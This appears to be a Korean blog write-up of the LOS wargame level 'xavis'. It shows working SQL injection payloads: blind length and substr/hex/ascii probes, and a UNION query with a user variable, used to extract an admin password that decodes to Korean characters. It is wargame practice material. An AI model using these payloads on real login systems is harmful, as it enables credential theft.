못풀었슴 ㅜ.ㅜ
다른 분들의 write up을 참고하니, 두 가지 풀이가 있다.
1.
우선, 패스워드의 길이부터 알아낸다. 이 부분은 할만함!
query : select id from prob_xavis where id='admin' and pw='1' or id='admin' and length(pw)=12 and '1'
-> 비밀번호 12자리
근데, 이제부터 ascii와 substr을 이용해 pw 의 문자를 하나씩 읽어오면 자꾸 0만 뜨고 풀리지가 않는다..
다른 방식으로 접근해줘야한다.
query : select id from prob_xavis where id='admin' and pw='1' or id='admin' and length(substr(pw, 1,1))=4 and '1'
-> pw의 맨 앞자리 한 자리가 길이가 4이다.
원래같으면 문자 하나는 1바이트를 차지하므로 길이가 1인데, 길이가 4인 것으로 보아 문자 하나가 2바이트 이상인 유니코드 임을 유추할 수 있다. 나머지 자리수들도 모두 길이가 4이다. 답은 한글일 수 있겠다.
4 바이트 x 3 = 12
일단 로컬환경에서 hex 값에 대한 substr 작동과정을 시험해보자.
mysql> select substr(0x616263, 1, 1);
+------------------------------------------------+
| substr(0x616263, 1, 1) |
+------------------------------------------------+
| 0x61 |
+------------------------------------------------+
1 row in set (0.00 sec)
mysql> select substr(0x616263, 1, 1)=0x61;
+-----------------------------+
| substr(0x616263, 1, 1)=0x61 |
+-----------------------------+
| 1 |
+-----------------------------+
1 row in set (0.00 sec)
mysql> select substr(0x616263, 2, 1);
+------------------------------------------------+
| substr(0x616263, 2, 1) |
+------------------------------------------------+
| 0x62 |
+------------------------------------------------+
1 row in set (0.00 sec)
mysql> select substr(0x616263, 3, 1);
+------------------------------------------------+
| substr(0x616263, 3, 1) |
+------------------------------------------------+
| 0x63 |
+------------------------------------------------+
1 row in set (0.00 sec)
substr은 문자 하나를 가져오다보니, 8비트=1byte를 가져오게 되어있고, 아스키코드범위에서 16진수는 8비트까지의 범위이므로
16진수 두자리씩 값이 나옴을 알 수 있다.
이를 토대로, 문자열의 길이는 12이므로 (12byte) 아스키 범위에서 16진수값을 총 12번 돌려보자.
하고 12번 돌려보려 했으나, 문제가 있었다.
위 처럼 substr 첫번째 인자로 헥스값 그대로를 쥐어주게 되면 0x 단위로 두자리씩(1바이트) 찢어져서 나오는데
hex(pw)의 반환값은 헥스값 문자열이라는것.
아래를 보면 이해가 쉬울 것이다.
mysql> select 'admin'=0x61646D696E;
+----------------------+
| 'admin'=0x61646D696E |
+----------------------+
| 1 |
+----------------------+
1 row in set (0.00 sec)
mysql> select hex('admin')='61646D696E';
+---------------------------+
| hex('admin')='61646D696E' |
+---------------------------+
| 1 |
+---------------------------+
1 row in set (0.00 sec)
따라서, substr(hex('admin'), 1, 1) 하면 6 한자리만 나오게 되므로 12번이 아니라 24번을 해줘야 한다.
그리고 각 방식은 이렇게 돌아간다고 보면 된다.
mysql> select hex('admin');
+--------------+
| hex('admin') |
+--------------+
| 61646D696E |
+--------------+
1 row in set (0.00 sec)
mysql> select ascii(substr(hex('admin'),1,1))=54;
+------------------------------------+
| ascii(substr(hex('admin'),1,1))=54 |
+------------------------------------+
| 1 |
+------------------------------------+
1 row in set (0.00 sec)
54는 '6'의 아스키코드값.
그렇게 24번 돌리고 나면
0000C6B00000C6550000AD73 값이 나오고,
이걸 4바이트씩(16진수 8자리) 쪼개면
0000C6B0
0000C655
0000AD73
이렇게 나오게 된다. 16진수를 의미하는 인식자도 넣어주면
0x0000C6B0
0x0000C655
0x0000AD73
파이썬을 통해 변환해보자.
>>> chr(0x0000C6B0);
'우'
>>> chr(0x0000C655);
'왕'
>>> chr(0x0000AD73);
'굳'
2.
두번째 풀이법.
mysql> select @a:='hello';
+-------------+
| @a:='hello' |
+-------------+
| hello |
+-------------+
1 row in set, 1 warning (0.00 sec)
select @변수이름:=값
-> 변수에 값을 할당하는 코드다.
set @변수이름=값
위와 동일하다. 하지만 select에서는 := 를 해주지 않으면 =를 비교연산자로 인식하니 :=로 해줘야 한다는 차이가 있다.
문제에서 사용하는 방법은 첫번째 방법인 select를 이용하는 방법이다.
query : select id from prob_xavis where id='admin' and pw='' or (select @a:=pw where id='admin') union select @a#'
(select @a:=pw where id ='admin')
-> @a변수에 id가 'admin'인 pw 값을 넣는다. 이건 내부쿼리이기 때문에 테이블명을 생략해도 되는 듯 싶다.
어쨌든, 이 () 안의 값은 아무런 결과를 리턴하진 않는다. 변수의 할당문이기 때문에..
이 쿼리가 잘 실행되려면 앞에 or 연산자를 넣어줘야 하는데, 이유는 and 연산자를 넣어줄 경우 비교연산자의 단축평가에 의해
앞의 결과까지 이미 false이므로 뒤가 실행되지 않는다. 이 구문이 실행되기 위해선 or로 넣어줘야 한다.
그리고 변수를 넣어줬으니 union 문을 추가하여 변수를 출력해주면 된다.
참고
'[웹해킹] > [LOS]' 카테고리의 다른 글
[LOS] IRON_GOLEM (0) | 2020.12.29 |
---|---|
[LOS] DRAGON (0) | 2020.12.28 |
[LOS] NIGHTMARE (0) | 2020.12.25 |
[LOS] ZOMBIE_ASSASSIN (1) | 2020.12.22 |
[LOS] SUCCUBUS (0) | 2020.12.19 |